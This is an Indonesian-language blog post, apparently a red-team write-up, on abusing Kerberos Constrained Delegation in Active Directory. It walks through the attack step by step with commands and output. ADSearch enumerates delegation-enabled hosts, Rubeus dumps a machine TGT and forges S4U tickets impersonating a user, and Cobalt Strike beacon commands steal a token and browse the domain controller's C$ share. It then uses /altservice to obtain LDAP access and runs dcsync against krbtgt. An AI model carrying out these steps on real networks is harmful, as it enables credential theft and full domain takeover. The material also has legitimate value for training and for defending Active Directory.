Post

[Kerberos] Constrained Delegation

Constrained Delegation adalah fitur yang diperkenalkan oleh Windows Server 2003 sebagai upaya untuk membatasi service yang dapat bertindak atas nama pengguna lain.

Dalam konteks ini, sebuah server tidak lagi diizinkan untuk menyimpan Ticket Granting Ticket (TGT) pengguna lain, tetapi diperbolehkan untuk meminta Ticket Granting Service (TGS) untuk pengguna lain dengan TGT miliknya sendiri.

Konfigurasi Constrained Delegation Konfigurasi Constrained Delegation

Pada contoh kali ini, SQL-2 bisa bertindak atas nama pengguna lain terhadap service CIFS di DC-2. Service CIFS (Common Internet File System) memiliki banyak kemampuan, seperti menampilkan daftar file share, mengunggah dan mengunduh file, bahkan berinteraksi dengan Service Control Manager.

0x1 - Exploitation Stages

Method 1: Constrained Delegation Abuse

Step 1: Find All Computers Permitted for Constrained Delegation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Mencari komputer dengan atribut `msds-allowedtodelegateto` yang tidak kosong
PS > .\ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes dnshostname,samaccountname,msds-allowedtodelegateto --json

[*] TOTAL NUMBER OF SEARCH RESULTS: 1
[
  {
    "dnshostname": "sql-2.dev.example.io",
    "samaccountname": "SQL-2$",
    "msds-allowedtodelegateto": [
      "cifs/dc-2.dev.example.io/dev.example.io",
      "cifs/dc-2.dev.example.io",
      "cifs/DC-2",
      "cifs/dc-2.dev.example.io/DEV",
      "cifs/DC-2/DEV"
    ]
  }
]

Step 2: Login the Target Machine and Get the TGT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# List ticket pada komputer komputer Contrained Delegation (SQL-2)
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe triage
 --------------------------------------------------------------------------------------------------------------- 
 | LUID    | UserName                    | Service                                       | EndTime              |
 --------------------------------------------------------------------------------------------------------------- 
| 0x3e4    | sql-2$ @ DEV.EXAMPLE.IO  | krbtgt/DEV.CYBERBOTIC.IO                      | 9/6/2023 7:06:50 PM |

# Ekstrak TGT
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe dump /luid:0x3e4 /service:krbtgt /nowrap

    ServiceName              :  krbtgt/DEV.EXAMPLE.IO
    ServiceRealm             :  DEV.EXAMPLE.IO
    UserName                 :  SQL-2$
    UserRealm                :  DEV.EXAMPLE.IO
    StartTime                :  9/6/2022 9:06:50 AM
    EndTime                  :  9/6/2022 7:06:50 PM
    RenewTill                :  9/13/2022 9:06:50 AM
    Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
    KeyType                  :  aes256_cts_hmac_sha1
    Base64(key)              :  pj1tbiijFCGHkM6S58ShgxxPi8FvA1UB5liBqrSWPCg=
    Base64EncodedTicket   :

doIFpD[...]MuSU8=

Kita juga bisa mendapatkannya dengan Rubeus asktgt jika memiliki hash NTLM atau AES.

Step 3: Perform S4U Request to Get TGS for CIFS

Setelah memiliki TGT, kita dapat melakukan permintaan S4U untuk mendapatkan TGS yang dapat digunakan untuk service CIFS.

Di sini, /impersonateuser adalah pengguna yang ingin Anda tiru - mereka seharusnya memiliki akses admin lokal pada mesin target. /msdsspn adalah service principal name yang SQL-2 diizinkan untuk mendeleagasikannya. /user adalah principal yang diizinkan untuk melakukan delegasi. /ticket adalah TGT untuk /user.

1
PS > .\Rubeus.exe s4u /impersonateuser:namina /msdsspn:cifs/dc-2.dev.example.io /user:sql-2$ /ticket:doIFLD[...snip...]MuSU8= /nowrap

Keterangan:

  • /impersonateuser: nama pengguna yang ingin ditiru (harus yang memiliki akses admin lokal pada mesin target).
  • /msdsspn: SPN yang diizinkan SQL-2 untuk mendeleagasikannya.
  • /user: principal yang diizinkan untuk melakukan delegasi.
  • /ticket: TGT untuk /user.

Perintah di atas akan melakukan S4U2Self terlebih dahulu dan kemudian S4U2Proxy. Tiket S4U2Proxy akhir inilah yang kita butuhkan.

Step 4: Extract the Ticket and Leverage It via a New Logon Session

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PS > .\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:namina /password:FakePass /ticket:doIGaD[...]ljLmlv

[*] Using DEV\nlamb:FakePass

[*] Showing process : False
[*] Username        : namina
[*] Domain          : DEV
[*] Password        : FakePass
[+] Process         : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID       : 5540
[+] Ticket successfully imported!
[+] LUID            : 0x3d3194

beacon> steal_token 5540

beacon> ls \\dc-2.dev.example.io\c$

Method 2: Alternate Service Name

Service cifs dapat dimanfaatkan untuk lateral movement, tetapi bagaimana jika port 445 tidak tersedia atau kita menginginkan opsi selain PsExec?

Terdapat cara yang ditemeukan oleh Alberto Solino bahwa nama service tidak dilindungi dalam struktur Kerberos, jadi kita bisa meminta TGS untuk service apa pun yang dijalankan oleh akun asli.

Hal ini dapat disalahgunakan dengan menggunakan flag /altservice di Rubeus.

Dalam contoh ini, kita menggunakan TGT SQL-2 untuk meminta TGS LDAP.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
PS > .\Rubeus.exe s4u /impersonateuser:namina /msdsspn:cifs/dc-2.dev.example.io /altservice:ldap /user:sql-2$ /ticket:doIFpD[...]MuSU8= /nowrap

[*] Action: S4U

[*] Building S4U2self request for: 'SQL-2$@DEV.EXAMPLE.IO'
[*] Using domain controller: dc-2.dev.example.io (10.10.122.10)
[*] Sending S4U2self request to 10.10.122.10:88
[+] S4U2self success!
[*] Got a TGS for 'namina' to 'SQL-2$@DEV.EXAMPLE.IO'
[*] base64(ticket.kirbi):

      doIFnD[...]FMLTIk

[*] Impersonating user 'namina' to target SPN 'cifs/dc-2.dev.example.io'
[*]   Final ticket will be for the alternate service 'ldap'
[*] Building S4U2proxy request for service: 'cifs/dc-2.dev.example.io'
[*] Using domain controller: dc-2.dev.example.io (10.10.122.10)
[*] Sending S4U2proxy request to domain controller 10.10.122.10:88
[+] S4U2proxy success!
[*] Substituting alternative service name 'ldap'
[*] base64(ticket.kirbi) for SPN 'ldap/dc-2.dev.example.io':

      doIGaD[...]ljLmlv
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PS > .\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:namina /password:FakePass /ticket:doIGaD[...]ljLmlv
	
[*] Using DEV\nlamb:FakePass

[*] Showing process : False
[*] Username        : namina
[*] Domain          : DEV
[*] Password        : FakePass
[+] Process         : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID       : 2580
[+] Ticket successfully imported!
[+] LUID            : 0x4b328e

   
beacon> steal_token 2580

Pada Domain Controller, service LDAP memungkinkan kita untuk melakukan dcsync.

1
beacon> dcsync dev.example.io DEV\krbtgt

0x2 - References

  • https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/constrained-delegation
  • https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation
  • https://blog.netwrix.com/2023/04/21/attacking-constrained-delegation-to-elevate-access/
  • https://medium.com/r3d-buck3t/attacking-kerberos-constrained-delegations-4a0eddc5bb13
This post is licensed under CC BY 4.0 by the author.